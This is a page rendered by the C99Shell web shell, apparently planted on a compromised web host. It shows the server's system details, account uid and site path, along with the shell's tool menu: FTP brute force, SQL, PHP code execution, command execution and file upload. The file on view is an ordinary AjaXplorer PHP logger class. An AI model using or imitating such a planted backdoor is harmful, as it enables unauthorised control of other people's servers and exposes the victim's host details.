!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules-alien/ajaxfilemanager/server/classes/   drwxr-xr-x
Free 117.02 GB of 200.55 GB (58.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.AJXP_Logger.php (8.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package info.ajaxplorer
 * 
 * Copyright 2007-2009 Charles du Jeu
 * This file is part of AjaXplorer.
 * The latest code can be found at http://www.ajaxplorer.info/
 * 
 * This program is published under the LGPL Gnu Lesser General Public License.
 * You should have received a copy of the license along with AjaXplorer.
 * 
 * The main conditions are as follow : 
 * You must conspicuously and appropriately publish on each copy distributed 
 * an appropriate copyright notice and disclaimer of warranty and keep intact 
 * all the notices that refer to this License and to the absence of any warranty; 
 * and give any other recipients of the Program a copy of the GNU Lesser General 
 * Public License along with the Program. 
 * 
 * If you modify your copy or copies of the library or any portion of it, you may 
 * distribute the resulting library provided you do so under the GNU Lesser 
 * General Public License. However, programs that link to the library may be 
 * licensed under terms of your choice, so long as the library itself can be changed. 
 * Any translation of the GNU Lesser General Public License must be accompanied by the 
 * GNU Lesser General Public License.
 * 
 * If you copy or distribute the program, you must accompany it with the complete 
 * corresponding machine-readable source code or with a written offer, valid for at 
 * least three years, to furnish the complete corresponding machine-readable source code. 
 * 
 * Any of the above conditions can be waived if you get permission from the copyright holder.
 * AjaXplorer is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; 
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * 
 * Description : A simple logger class
 */
define("LOG_FILE_NAME"'log_' date('m-d-y') . '.txt');        // The name of the log file
define("LOG_GROUP_RIGHTS"0770);
define("LOG_LEVEL_DEBUG""Debug");
define("LOG_LEVEL_INFO""Info");
define("LOG_LEVEL_NOTICE""Notice");
define("LOG_LEVEL_WARNING""Warning");
define("LOG_LEVEL_ERROR""Error");
global 
$AJXP_LOGGER;
    
/**
     * This class is very helpful to write a Log in PHP
     * just define the severity and the message
     * You need to intialize the AJXP_Logger class and call it in the function
     * This class will help you a lot in debugging the application.
     * If practiced regularlly, this debug information will also solve the long run application errors
     *
     * The way to use this Logger is defined in testLogger.php file
     *
     * In case of any errors please report to singhgurdeep@gmail.com
     */
class AJXP_Logger {
    var 
$USER_GROUP_RIGHTS 0770;
    var 
$fileHandle;
    var 
$stack;
    var 
$storageDir "";
    
/*
    var $severityDescription = Array(
            DEBUG => "Debug", 
             INFO => "Info",
             NOTICE => "Notice",
             WARNING => "Warning",
             ERROR => "Error");
    */
    /**
     * AJXP_Logger constructor
     *
     * @access private
     */
    
function AJXP_Logger() {

        
$this->severityDescription 0;
        
$this->stack = array();
        
$this->fileHandle false;
    }
    
    function 
__destruct(){
        if(
$this->fileHandle !== false);
        
$this->close();
    }
    
    function 
initStorage($storageDir){
        
$this->storageDir $storageDir;
        if (!
file_exists($storageDir)) {
            @
mkdir($storageDirLOG_GROUP_RIGHTS);
        }
        
$this->open();
    }
    
    function 
open(){
        if(
$this->storageDir!=""){
            
$this->fileHandle = @fopen($this->storageDir LOG_FILE_NAME"at+");
            if(
$this->fileHandle !== false && count($this->stack)){
                
$this->stackFlush();
            }        
        }        
    }

    function 
logAction($action$params=array()){
        
$logger AJXP_Logger::getInstance();        
        
$message "$action\t";        
        if(
count($params)){
            
$message.=$logger->arrayToString($params);
        }        
        
$logger->write($messageLOG_LEVEL_INFO);        
    }
    
    function 
arrayToString($params){
        
$st "";    
        
$index=0;    
        foreach (
$params as $key=>$value){
            
$index++;
            if(!
is_numeric($key)){
                
$st.="$key=";
            }
            if(
is_string($value)){                
                
$st.=$value;
            }else if(
is_array($value)){
                
$st.=$this->arrayToString($value);
            }else if(
is_bool($value)){
                
$st.=($value?"true":"false");
            }else if(
is_a($value"UserSelection")){
                
$st.=$this->arrayToString($value->getFiles());
            }
            
            if(
$index count($params)){
                if(
is_numeric($key)){
                    
$st.=",";
                }else{
                    
$st.=";";
                }
            }
        }
        return 
$st;
        
    }
    
    
/**
     * returns an instance of the AJXP_Logger object
     *
     * @access public
     * @static
     *
     * @return AJXP_Logger an instance of the AJXP_Logger object
     */
    
function getInstance() {
        global 
$AJXP_LOGGER;
        if (!isset(
$AJXP_LOGGER)) {
            
$AJXP_LOGGER = new AJXP_Logger();
        }
        return 
$AJXP_LOGGER;
    }

    function 
write($textMessage$severityLevel LOG_LEVEL_DEBUG) {
        
$textMessage $this->formatMessage($textMessage$severityLevel);

        if (
$this->fileHandle !== false) {
            if(
count($this->stack)) $this->stackFlush();                        
            if (@
fwrite($this->fileHandle$textMessage) === false) {
                
//print "There was an error writing to log file.";
            
}
        }else{            
            
$this->stack[] = $textMessage;
        }
        
    }
    
    function 
stackFlush(){
        
// Flush stack for messages that could have been written before the file opening.
        
foreach ($this->stack as $message){
            @
fwrite($this->fileHandle$message);
        }
        
$this->stack = array();
    }
    
    
/**
     * closes the handle to the log file
     *
     * @access public
     */
    
function close() {
        
$success = @fclose($this->fileHandle);
        if (
$success === false) {
            
// Failure to close the log file
            
$this->write("AJXP_Logger failed to close the handle to the log file"LOG_LEVEL_ERROR);
        }
        
    }
    
    
/**
     * formats the error message in representable manner
     *
     * @param message this is the message to be formatted
     *
     * @return $severity Severity level of the message
     */
    
function formatMessage($message$severity) {
        
$msg date("m-d-y") . " " date("G:i:s") . "\t"
        
$msg .= $_SERVER['REMOTE_ADDR'];
        
        
$msg .= "\t".strtoupper($severity)."\t";
        
        
// Get the user if it exists
        
$user "No User";
        if(
AuthService::usersEnabled()){
            
$logged AuthService::getLoggedUser();
            if(
$logged != null){
                
$user $logged->getId();
            }else{
                
$user "shared";
            }
        }
        
$msg .= "$user\t";
        
        
//$msg .= $severity;
        
$msg .= "" $message "\n";        
        
        return 
$msg;            
    }
    
    function 
xmlListLogFiles($nodeName="file"$year=null$month=null){
        
$dir $this->storageDir;
        if(!
is_dir($this->storageDir)) return ;
        
$logs = array();
        
$years = array();
        
$months = array();
        if((
$handle opendir($this->storageDir))!==false){
            while(
$file readdir($handle)){                
                
$split split("\."$file);
                if(!
count($split) || $split[0] == "") continue;
                
$split2 split("_"$split[0]);
                
$date $split2[1];
                
$dSplit split("-"$date);
                
$logY $dSplit[2];
                
$logM $dSplit[0];
                
$time mktime(0,0,1,$dSplit[0], $dSplit[1], $dSplit[2]);
                
$display date("l d"$time);
                
$fullYear date("Y"$time);
                
$fullMonth date("F"$time);
                if(
$year != null && $fullYear != $year) continue;
                if(
$month != null && $fullMonth != $month) continue;
                
$logs[$time] = "<$nodeName icon=\"toggle_log.png\" date=\"$display\" display=\"$display\" text=\"$date\" is_file=\"0\" filename=\"/logs/$fullYear/$fullMonth/$date\"/>";
                
$years[$logY] = "<$nodeName icon=\"x-office-calendar.png\" date=\"$fullYear\" display=\"$fullYear\" text=\"$fullYear\" is_file=\"0\" src=\"content.php?dir=%2Flogs%2F$fullYear\" filename=\"/logs/$fullYear\"/>";
                
$months[$logM] = "<$nodeName icon=\"x-office-calendar.png\" date=\"$fullMonth\" display=\"$logM\" text=\"$fullMonth\" is_file=\"0\" src=\"content.php?dir=%2Flogs%2F$fullYear%2F$fullMonth\" filename=\"/logs/$fullYear/$fullMonth\"/>";
            }
            
closedir($handle);    
        }
        
$result $years;
        if(
$year != null){
            
$result $months;
            if(
$month != null){
                
$result $logs;
            }
        }
        
krsort($result);
        foreach(
$result as $log) print($log);
        return ;        
    }
    
    function 
xmlLogs($date$nodeName "log"){
                
        
$fName $this->storageDir."log_".$date.".txt";
        if(!
is_file($fName) || !is_readable($fName)) return;
        
        
$res "";
        
$lines file($fName);
        foreach (
$lines as $line){
            
$line Utils::xmlEntities($line);
            
$matches = array();
            if(
preg_match("/(.*)\t(.*)\t(.*)\t(.*)\t(.*)\t(.*)$/"$line$matches)!==false){
                print(
utf8_encode("<$nodeName is_file=\"1\" ajxp_mime=\"log\" date=\"$matches[1]\" ip=\"$matches[2]\" level=\"$matches[3]\" user=\"$matches[4]\" action=\"$matches[5]\" params=\"$matches[6]\"/>"));
            }
        }
        return ;
    }
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0098 ]--